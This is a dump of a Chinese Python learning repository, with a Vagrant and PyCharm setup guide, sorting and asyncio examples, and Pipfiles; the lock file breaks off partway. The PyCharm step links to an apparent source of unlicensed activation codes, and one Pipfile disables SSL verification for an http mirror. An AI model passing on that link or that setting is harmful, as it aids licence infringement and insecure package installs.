├── .gitignore ├── 51reboot ├── README.md ├── imgs │ ├── pycharm1.jpg │ ├── pycharm10.png │ ├── pycharm11.png │ ├── pycharm2.png │ ├── pycharm3.png │ ├── pycharm4.png │ ├── pycharm5.png │ ├── pycharm6.png │ ├── pycharm7.png │ ├── pycharm8.png │ ├── pycharm9.png │ ├── vagrant1.png │ ├── vagrant2.png │ ├── vagrant3.png │ ├── vagrant4.png │ ├── vagrant5-xshell.png │ ├── vagrant6-xshell.png │ └── vagrant7-xshell.png └── lesson │ ├── README.md │ └── Vagrantfile ├── Pipfile ├── Pipfile.lock ├── README.md ├── algorithm ├── README.md ├── bubble.py └── quick.py ├── asyncio └── main.py ├── django ├── README.md ├── ops │ ├── Pipfile │ ├── Pipfile.lock │ ├── README.md │ ├── city │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ └── __init__.py │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py │ ├── hello │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ └── __init__.py │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py │ ├── manage.py │ ├── ops │ │ ├── __init__.py │ │ ├── settings.py │ │ ├── urls.py │ │ └── wsgi.py │ ├── school │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ ├── 0002_auto_20190620_0448.py │ │ │ ├── 0003_auto_20190620_0507.py │ │ │ ├── 0004_auto_20190620_0515.py │ │ │ └── __init__.py │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py │ ├── scripts │ │ ├── index.html │ │ ├── main.py │ │ └── opmain.py │ ├── templates │ │ ├── user_add.html │ │ ├── user_login.html │ │ ├── user_update.html │ │ └── users.html │ └── users │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── 0002_auto_20190607_0113.py │ │ ├── 0003_auto_20190607_0120.py │ │ ├── 0004_auto_20190608_1231.py │ │ ├── 0005_auto_20190608_1233.py │ │ ├── 0006_auto_20190608_1234.py │ │ ├── 0007_auto_20190613_0905.py │ │ ├── 0008_users_remark.py │ │ └── __init__.py │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py └── webphoto │ ├── README.md │ ├── data │ └── upload │ │ ├── background │ │ └── bg.jpg │ │ └── img │ │ └── 2018 │ │ └── 11 │ │ ├── 17 │ │ ├── 20181117134040_96.jpeg │ │ ├── 20181117134102_39.jpeg │ │ ├── 20181117134318_24.jpg │ │ ├── 20181117134538_89.jpg │ │ ├── 20181117134641_54.jpg │ │ ├── 20181117134716_81.jpg │ │ ├── 20181117134807_97.jpeg │ │ ├── 20181117134928_70.jpeg │ │ ├── 20181117135023_50.jpeg │ │ ├── 20181117135059_39.jpeg │ │ ├── 20181117135134_94.jpeg │ │ └── 20181117135241_52.JPG │ │ └── 18 │ │ └── 20181118202412_28.jpeg │ ├── manage.py │ ├── requirements.txt │ ├── show │ ├── __init__.py │ ├── __pycache__ │ │ ├── __init__.cpython-36.pyc │ │ ├── admin.cpython-36.pyc │ │ ├── models.cpython-36.pyc │ │ ├── storage.cpython-36.pyc │ │ └── views.cpython-36.pyc │ ├── admin.py │ ├── apps.py │ ├── migrations │ │ ├── 0001_initial.py │ │ ├── __init__.py │ │ └── __pycache__ │ │ │ ├── 0001_initial.cpython-36.pyc │ │ │ └── __init__.cpython-36.pyc │ ├── models.py │ ├── storage.py │ ├── tests.py │ └── views.py │ ├── static │ ├── css │ │ ├── flickity.css │ │ ├── font-awesome.min.css │ │ └── main.css │ ├── fonts │ │ ├── codropsicons │ │ │ ├── codropsicons.eot │ │ │ ├── codropsicons.svg │ │ │ ├── codropsicons.ttf │ │ │ ├── codropsicons.woff │ │ │ └── license.txt │ │ └── fontawesome │ │ │ ├── FontAwesome.otf │ │ │ ├── fontawesome-webfont.eot │ │ │ ├── fontawesome-webfont.svg │ │ │ ├── fontawesome-webfont.ttf │ │ │ └── fontawesome-webfont.woff │ ├── image │ │ ├── arrow-colored.svg │ │ ├── arrow-gray.svg │ │ ├── bg.jpg │ │ ├── favicon.ico │ │ ├── media.png │ │ ├── photo.gif │ │ ├── three-dots.svg │ │ └── 列表excel.xlsx │ └── js │ │ ├── flickity.pkgd.min.js │ │ ├── main.js │ │ ├── modernizr.custom.js │ │ └── smoothscroll.js │ ├── templates │ ├── aside.html │ ├── base.html │ ├── head.html │ └── photo_list.html │ └── webphoto │ ├── __init__.py │ ├── __pycache__ │ ├── __init__.cpython-36.pyc │ ├── settings.cpython-36.pyc │ ├── urls.cpython-36.pyc │ └── wsgi.cpython-36.pyc │ ├── settings.py │ ├── urls.py │ └── wsgi.py ├── ftp └── README.md ├── interview_questions ├── README.md └── list │ └── main.py ├── iter └── README.md ├── nginxlog ├── access.log └── main.py ├── pipenv └── README.md ├── signal └── psignal.py └── tail ├── README.md ├── logstash_v1.py ├── logstash_v2.py └── mysqld.log /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | idea 3 | venv 4 | .idea/*xml 5 | .* 6 | -------------------------------------------------------------------------------- /51reboot/README.md: -------------------------------------------------------------------------------- 1 | 2 | # 训练营 3 | 4 | - [课前准备](./lesson) -------------------------------------------------------------------------------- /51reboot/imgs/pycharm1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm1.jpg -------------------------------------------------------------------------------- /51reboot/imgs/pycharm10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm10.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm11.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm2.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm3.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm4.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm5.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm6.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm7.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm8.png -------------------------------------------------------------------------------- /51reboot/imgs/pycharm9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/pycharm9.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant1.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant2.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant3.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant4.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant5-xshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant5-xshell.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant6-xshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant6-xshell.png -------------------------------------------------------------------------------- /51reboot/imgs/vagrant7-xshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/51reboot/imgs/vagrant7-xshell.png -------------------------------------------------------------------------------- /51reboot/lesson/README.md: -------------------------------------------------------------------------------- 1 | # 环境准备 2 | 3 | ```bash 4 | 开课前环境准备 5 | - 1. 如果你用的Windows系统,建议在Windows上安装虚拟机,在虚拟机上安装Linux系统,Linux系统上运行Python环境; 6 | - 2. 如果你用的是Mac系统,那么可以直接在Mac上运行Python环境; 7 | - 3. 虚拟机建议用Virtualbox + Vagrant, 为什么要用这款软件了??? 8 | - 3.1 能够实现Windows下项目代码实时同步到Linux系统; 9 | - 3.2 Pycharm默认支持连接Virtualbox里的Python环境; 10 | ``` 11 | 12 | ## 1. Windows系统 13 | 14 | 15 | ### 1.1 安装虚拟机 16 | 17 | > Virtualbox是一款虚拟机软件(类似于Vmware),Vagrant是Virtualbox的命令行管理工具, Box是虚拟机镜像; 18 | 19 | 20 | > 1.1.1. 首先安装Virtualbox; 21 | 22 | - [Virtualbox Download](https://download.virtualbox.org/virtualbox/5.2.26/VirtualBox-5.2.26-128414-Win.exe) 23 | 24 | 25 | 26 | > 1.1.2. 安装Vagrant,如下图表示安装成功; 27 | 28 | - [Vagrant Download](https://releases.hashicorp.com/vagrant/2.2.4/vagrant_2.2.4_x86_64.msi) 29 | 30 | 31 | > 1.1.3. Vagrant命令行方式创建虚拟机; 32 | 33 | - [Box List](http://www.vagrantbox.es/) 34 | - [Box Centos6.6](https://github.com/tommy-muehle/puppet-vagrant-boxes/releases/download/1.0.0/centos-6.6-x86_64.box) 35 | - [Box Centos6.6 (aliyun oss)](https://51reboot.oss-cn-beijing.aliyuncs.com/%E8%AE%AD%E7%BB%83%E8%90%A51%E6%9C%9F/%E8%BD%AF%E4%BB%B6%E5%8C%85/centos-6.6-x86_64.box) 36 | 37 | 38 | 1.1.3.1 Vagrant常用命令 39 | 40 | ```bash 41 | 1. vagrant box list // 列出当前导入的Box 42 | 2. vagrant up // 启动虚拟机 43 | 3. vagrant halt // 关闭虚拟机 44 | 4. vagrant status // 查看虚拟机的状态 45 | 5. vagrant init // 初始化虚拟机 46 | 6. vagrant box add // 添加box 47 | 7. vboxmanage list vms // 列出虚拟机 48 | 8. vagrant package --base vagrant_default_14950229427359_60979 --output soft/python36env_goenv_20180310.box // 导出 49 | ``` 50 | 51 | 1.1.3.2 进入Windows下的CMD命令行,使用Vagrant命令行工具来启动一台虚拟机。 52 | 53 | > 替换自动生成的Vagrantfile配置文件 54 | - [Vagrantfile](./Vagrantfile) 55 | 56 | ```bash 57 | ## 大概需要修改以下四处 58 | config.vm.box = "centos-6.6-x86_64" // 镜像的名称,但不包括扩展名。 59 | config.vm.synced_folder "D:/51reboot-vm", "/home/vagrant/51reboot" // 同步Windows下的文件夹到Linux上 60 | config.vm.boot_timeout = 300 // 超时时间 61 | config.vm.hostname = "51reboot" // 设置主机名 62 | ``` 63 | 64 | ![Vagrant1](../../51reboot/imgs/vagrant1.png) 65 | ![Vagrant2](../../51reboot/imgs/vagrant2.png) 66 | ![Vagrant3](../../51reboot/imgs/vagrant3.png) 67 | ![Vagrant4](../../51reboot/imgs/vagrant4.png) 68 | 69 | 70 | 1.1.3.3 使用xshell连接上Virtualbox虚拟机 71 | > 登陆用户名 vagrant,登陆密码 vagrant,ssh端口 2222 72 | 73 | ![Xshell Connect1 vm](../../51reboot/imgs/vagrant5-xshell.png) 74 | ![Xshell Connect2 vm](../../51reboot/imgs/vagrant6-xshell.png) 75 | ![Xshell Connect2 vm](../../51reboot/imgs/vagrant7-xshell.png) 76 | 77 | 78 | ### 1.2. Python 3.6 79 | 80 | > Linux安装 81 | ```bash 82 | # yum install gcc gcc-c++ make openssl openssl-devel 83 | # cd /usr/local/src 84 | # wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tgz 85 | # tar -zxvf Python-3.6.8.tgz 86 | # cd Python-3.6.8 87 | # ./configure --prefix=/usr/local/python36 88 | # make -j 89 | # make install 90 | ``` 91 | 92 | > 环境变量 93 | ```bash 94 | # echo "export PATH=/usr/local/python36/bin:\$PATH" > /etc/profile.d/python36.sh 95 | # source /etc/profile 96 | ``` 97 | 98 | > 测试版本 99 | ```bash 100 | # python3 -V 101 | Python 3.6.8 102 | ``` 103 | 104 | ### 1.3. IDE 105 | 106 | 1.3.1 下载Pycharm 2019 107 | 108 | - [Pycharm Download](https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows) 109 | 110 | 111 | 112 | 1.3.2 安装Pycharm 113 | 114 | - [注册码地址](http://idea.lanyus.com) 115 | 116 | ![Pycharm1](../../51reboot/imgs/pycharm1.jpg) 117 | ![Pycharm1](../../51reboot/imgs/pycharm3.png) 118 | 119 | 120 | 1.3.3 Pycharm设置连接Vagrant虚拟机的Python环境,如下图; 121 | 122 | ![Pycharm1](../../51reboot/imgs/pycharm4.png) 123 | ![Pycharm1](../../51reboot/imgs/pycharm5.png) 124 | ![Pycharm1](../../51reboot/imgs/pycharm6.png) 125 | ![Pycharm1](../../51reboot/imgs/pycharm7.png) 126 | ![Pycharm1](../../51reboot/imgs/pycharm8.png) 127 | ![Pycharm1](../../51reboot/imgs/pycharm9.png) 128 | ![Pycharm1](../../51reboot/imgs/pycharm10.png) 129 | ![Pycharm1](../../51reboot/imgs/pycharm11.png) 130 | 131 | 132 | ## 2. Mac系统 133 | 134 | 135 | ### 2.1. Mac安装Python 3.6 136 | 137 | - [Mac Download](https://www.python.org/ftp/python/3.6.8/python-3.6.8-macosx10.9.pkg) 138 | 139 | 140 | > 测试版本 141 | ```bash 142 | # python3 -V 143 | Python 3.6.8 144 | ``` 145 | 146 | 147 | ### 2.2. IDE 148 | 149 | 2.2.1 下载Pycharm 2019 150 | 151 | - [Pycharm Download](https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=mac) 152 | -------------------------------------------------------------------------------- /51reboot/lesson/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | # All Vagrant configuration is done below. The "2" in Vagrant.configure 5 | # configures the configuration version (we support older styles for 6 | # backwards compatibility). Please don't change it unless you know what 7 | # you're doing. 8 | Vagrant.configure("2") do |config| 9 | # The most common configuration options are documented and commented below. 10 | # For a complete reference, please see the online documentation at 11 | # https://docs.vagrantup.com. 12 | 13 | # Every Vagrant development environment requires a box. You can search for 14 | # boxes at https://atlas.hashicorp.com/search. 15 | config.vm.box = "centos6.6" # *** 镜像的名称 16 | 17 | # Disable automatic box update checking. If you disable this, then 18 | # boxes will only be checked for updates when the user runs 19 | # `vagrant box outdated`. This is not recommended. 20 | # config.vm.box_check_update = false 21 | 22 | # Create a forwarded port mapping which allows access to a specific port 23 | # within the machine from a port on the host machine. In the example below, 24 | # accessing "localhost:8080" will access port 80 on the guest machine. 25 | # config.vm.network "forwarded_port", guest: 80, host: 8080 26 | config.vm.network "forwarded_port", guest: 8000, host: 8000 # *** 虚拟机里的8000端口映射到宿主机的8000端口 27 | 28 | # Create a private network, which allows host-only access to the machine 29 | # using a specific IP. 30 | # config.vm.network "private_network", ip: "192.168.33.10" 31 | 32 | # Create a public network, which generally matched to bridged network. 33 | # Bridged networks make the machine appear as another physical device on 34 | # your network. 35 | # config.vm.network "public_network" 36 | 37 | # Share an additional folder to the guest VM. The first argument is 38 | # the path on the host to the actual folder. The second argument is 39 | # the path on the guest to mount the folder. And the optional third 40 | # argument is a set of non-required options. 41 | # config.vm.synced_folder "../data", "/vagrant_data" 42 | config.vm.synced_folder "D:/51reboot-vm", "/home/vagrant/51reboot" # *** 同步文件 43 | 44 | # Provider-specific configuration so you can fine-tune various 45 | # backing providers for Vagrant. These expose provider-specific options. 46 | # Example for VirtualBox: 47 | # 48 | # config.vm.provider "virtualbox" do |vb| 49 | # # Display the VirtualBox GUI when booting the machine 50 | # vb.gui = true 51 | # 52 | # # Customize the amount of memory on the VM: 53 | # vb.memory = "1024" 54 | # end 55 | # 56 | # View the documentation for the provider you are using for more 57 | # information on available options. 58 | 59 | # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies 60 | # such as FTP and Heroku are also available. See the documentation at 61 | # https://docs.vagrantup.com/v2/push/atlas.html for more information. 62 | # config.push.define "atlas" do |push| 63 | # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" 64 | # end 65 | 66 | # Enable provisioning with a shell script. Additional provisioners such as 67 | # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the 68 | # documentation for more information about their specific syntax and use. 69 | # config.vm.provision "shell", inline: <<-SHELL 70 | # apt-get update 71 | # apt-get install -y apache2 72 | # SHELL 73 | config.vm.boot_timeout = 300 # *** 超时时间 74 | config.vm.hostname = "51reboot" # *** 设置主机名 75 | end 76 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | 8 | [packages] 9 | 10 | [requires] 11 | python_version = "3.6" 12 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "415dfdcb118dd9bdfef17671cb7dcd78dbd69b6ae7d4f39e8b44e71d60ca72e7" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.6" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": {}, 19 | "develop": {} 20 | } 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python3 Doc 2 | 3 | - Basic 4 | - [51reboot](./51reboot) 5 | - [Python2.7](https://github.com/467754239/python) 6 | - [pipenv](./pipenv) 7 | - [tail](./tail) 8 | - [iter](./iter) 9 | - [signal](./signal) 10 | - [algorithm](./algorithm) 11 | - [nginxlog](./nginxlog/) 12 | - [ftp](./ftp) 13 | - [Interview questions](./interview_questions) 14 | 15 | - Web framework 16 | - [Django basic](./django/ops) 17 | - [Django webphoto](./django/webphoto) 18 | -------------------------------------------------------------------------------- /algorithm/README.md: -------------------------------------------------------------------------------- 1 | ## 排序算法 2 | 3 | - [快排](./quick.py) 4 | - [冒泡](./bubble.py) -------------------------------------------------------------------------------- /algorithm/bubble.py: -------------------------------------------------------------------------------- 1 | 2 | '''冒泡排序''' 3 | def bubble_sort(arr): 4 | for i in range(0, len(arr)): 5 | for j in range(i+1, len(arr)): 6 | # print(i, j) 7 | if arr[i] > arr[j]: 8 | arr[i], arr[j] = arr[j], arr[i] 9 | 10 | 11 | 12 | def main(): 13 | import random 14 | arr = [ random.randint(1, 100) for x in range(1, 11)] 15 | print("Before arr {}".format(arr)) 16 | bubble_sort(arr) 17 | print("After arr {}".format(arr)) 18 | 19 | 20 | if __name__ == '__main__': 21 | main() 22 | -------------------------------------------------------------------------------- /algorithm/quick.py: -------------------------------------------------------------------------------- 1 | 2 | '''快拍排序''' 3 | def quick_sort(arr): 4 | print(arr) 5 | input() 6 | if len(arr) <= 1: 7 | return arr 8 | left = [] 9 | right = [] 10 | start = arr[0] 11 | for x in arr[1:]: 12 | if x < start: 13 | left.append(x) 14 | else: 15 | right.append(x) 16 | print("---->left>>>>", left) 17 | print("---->right>>>", right) 18 | return quick_sort(left) + [start] + quick_sort(right) 19 | 20 | def main(): 21 | import random 22 | arr = [ random.randint(1, 100) for x in range(1, 11)] 23 | print("Before arr {}".format(arr)) 24 | arr = quick_sort(arr) 25 | print("After arr {}".format(arr)) 26 | 27 | 28 | if __name__ == '__main__': 29 | main() 30 | -------------------------------------------------------------------------------- /asyncio/main.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | 3 | 4 | # 定义了一个简单的协程 5 | async def simple_async(): 6 | print('hello') 7 | await asyncio.sleep(1) # 休眠1秒 8 | print('python') 9 | 10 | 11 | # 使用asynio中run方法运行一个协程 12 | asyncio.run(simple_async(), True) 13 | 14 | # 执行结果为 15 | # hello 16 | # python 17 | -------------------------------------------------------------------------------- /django/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /django/ops/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "http://pypi.douban.com/simple" 4 | verify_ssl = false 5 | 6 | [dev-packages] 7 | 8 | [packages] 9 | django = "==1.11" 10 | pytz = "*" 11 | pymysql = "*" 12 | ipython = "*" 13 | dj-pagination = "*" 14 | jinja2 = "*" 15 | prettytable = "*" 16 | 17 | [requires] 18 | python_version = "3.6" 19 | -------------------------------------------------------------------------------- /django/ops/Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "055780ffb7eec0eea781cf29176a3b1e4c50be77049d9d80aed3581517458adb" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.6" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "http://pypi.douban.com/simple", 14 | "verify_ssl": false 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "appnope": { 20 | "hashes": [ 21 | "sha256:5b26757dc6f79a3b7dc9fab95359328d5747fcb2409d331ea66d0272b90ab2a0", 22 | "sha256:8b995ffe925347a2138d7ac0fe77155e4311a0ea6d6da4f5128fe4b3cbe5ed71" 23 | ], 24 | "markers": "sys_platform == 'darwin'", 25 | "version": "==0.1.0" 26 | }, 27 | "backcall": { 28 | "hashes": [ 29 | "sha256:38ecd85be2c1e78f77fd91700c76e14667dc21e2713b63876c0eb901196e01e4", 30 | "sha256:bbbf4b1e5cd2bdb08f915895b51081c041bac22394fdfcfdfbe9f14b77c08bf2" 31 | ], 32 | "version": "==0.1.0" 33 | }, 34 | "decorator": { 35 | "hashes": [ 36 | "sha256:86156361c50488b84a3f148056ea716ca587df2f0de1d34750d35c21312725de", 37 | "sha256:f069f3a01830ca754ba5258fde2278454a0b5b79e0d7f5c13b3b97e57d4acff6" 38 | ], 39 | "version": "==4.4.0" 40 | }, 41 | "dj-pagination": { 42 | "hashes": [ 43 | "sha256:1de28af33acafe1898e2d9c80a0669b492f582ec711c13864eff00e9b16479b8", 44 | "sha256:fd89e97fa49a4ec7712926477d255e646213cdb0349a29b73b67510ceae4d44d" 45 | ], 46 | "index": "pypi", 47 | "version": "==2.4.0" 48 | }, 49 | "django": { 50 | "hashes": [ 51 | "sha256:0120b3b60760fb0617848b58aaa9702c0bf963320ed472f0879c5c55ab75b64a", 52 | "sha256:b6f3b864944276b4fd1d099952112696558f78b77b39188ac92b6c5e80152c30" 53 | ], 54 | "index": "pypi", 55 | "version": "==1.11" 56 | }, 57 | "ipython": { 58 | "hashes": [ 59 | "sha256:54c5a8aa1eadd269ac210b96923688ccf01ebb2d0f21c18c3c717909583579a8", 60 | "sha256:e840810029224b56cd0d9e7719dc3b39cf84d577f8ac686547c8ba7a06eeab26" 61 | ], 62 | "index": "pypi", 63 | "version": "==7.5.0" 64 | }, 65 | "ipython-genutils": { 66 | "hashes": [ 67 | "sha256:72dd37233799e619666c9f639a9da83c34013a73e8bbc79a7a6348d93c61fab8", 68 | "sha256:eb2e116e75ecef9d4d228fdc66af54269afa26ab4463042e33785b887c628ba8" 69 | ], 70 | "version": "==0.2.0" 71 | }, 72 | "jedi": { 73 | "hashes": [ 74 | "sha256:2bb0603e3506f708e792c7f4ad8fc2a7a9d9c2d292a358fbbd58da531695595b", 75 | "sha256:2c6bcd9545c7d6440951b12b44d373479bf18123a401a52025cf98563fbd826c" 76 | ], 77 | "version": "==0.13.3" 78 | }, 79 | "jinja2": { 80 | "hashes": [ 81 | "sha256:065c4f02ebe7f7cf559e49ee5a95fb800a9e4528727aec6f24402a5374c65013", 82 | "sha256:14dd6caf1527abb21f08f86c784eac40853ba93edb79552aa1e4b8aef1b61c7b" 83 | ], 84 | "index": "pypi", 85 | "version": "==2.10.1" 86 | }, 87 | "markupsafe": { 88 | "hashes": [ 89 | "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473", 90 | "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161", 91 | "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235", 92 | "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5", 93 | "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff", 94 | "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b", 95 | "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1", 96 | "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e", 97 | "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183", 98 | "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66", 99 | "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1", 100 | "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1", 101 | "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e", 102 | "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b", 103 | "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905", 104 | "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735", 105 | "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d", 106 | "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e", 107 | "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d", 108 | "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c", 109 | "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21", 110 | "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2", 111 | "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5", 112 | "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b", 113 | "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6", 114 | "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f", 115 | "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f", 116 | "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7" 117 | ], 118 | "version": "==1.1.1" 119 | }, 120 | "parso": { 121 | "hashes": [ 122 | "sha256:17cc2d7a945eb42c3569d4564cdf49bde221bc2b552af3eca9c1aad517dcdd33", 123 | "sha256:2e9574cb12e7112a87253e14e2c380ce312060269d04bd018478a3c92ea9a376" 124 | ], 125 | "version": "==0.4.0" 126 | }, 127 | "pexpect": { 128 | "hashes": [ 129 | "sha256:2094eefdfcf37a1fdbfb9aa090862c1a4878e5c7e0e7e7088bdb511c558e5cd1", 130 | "sha256:9e2c1fd0e6ee3a49b28f95d4b33bc389c89b20af6a1255906e90ff1262ce62eb" 131 | ], 132 | "markers": "sys_platform != 'win32'", 133 | "version": "==4.7.0" 134 | }, 135 | "pickleshare": { 136 | "hashes": [ 137 | "sha256:87683d47965c1da65cdacaf31c8441d12b8044cdec9aca500cd78fc2c683afca", 138 | "sha256:9649af414d74d4df115d5d718f82acb59c9d418196b7b4290ed47a12ce62df56" 139 | ], 140 | "version": "==0.7.5" 141 | }, 142 | "prettytable": { 143 | "hashes": [ 144 | "sha256:2d5460dc9db74a32bcc8f9f67de68b2c4f4d2f01fa3bd518764c69156d9cacd9", 145 | "sha256:853c116513625c738dc3ce1aee148b5b5757a86727e67eff6502c7ca59d43c36", 146 | 